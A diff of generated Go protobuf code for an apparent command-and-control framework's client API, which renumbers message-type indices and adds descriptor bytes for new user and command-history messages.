[]int{105} } func (x *CrackConfig) GetAutoFire() bool { @@ -9238,7 +9723,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9251,7 +9736,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9264,7 +9749,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{106} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -9309,7 +9794,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9322,7 +9807,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9335,7 +9820,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{107} } func (x *CrackFile) GetID() string { @@ -9429,7 +9914,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9442,7 +9927,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9455,7 +9940,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{108} } func (x *CrackFileChunk) GetID() string { @@ -9504,1494 +9989,1561 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, - 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, - 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, - 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, - 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, - 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, - 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, - 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, - 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x2d, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, + 0x73, 0x12, 0x24, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x73, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, + 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, + 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, + 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 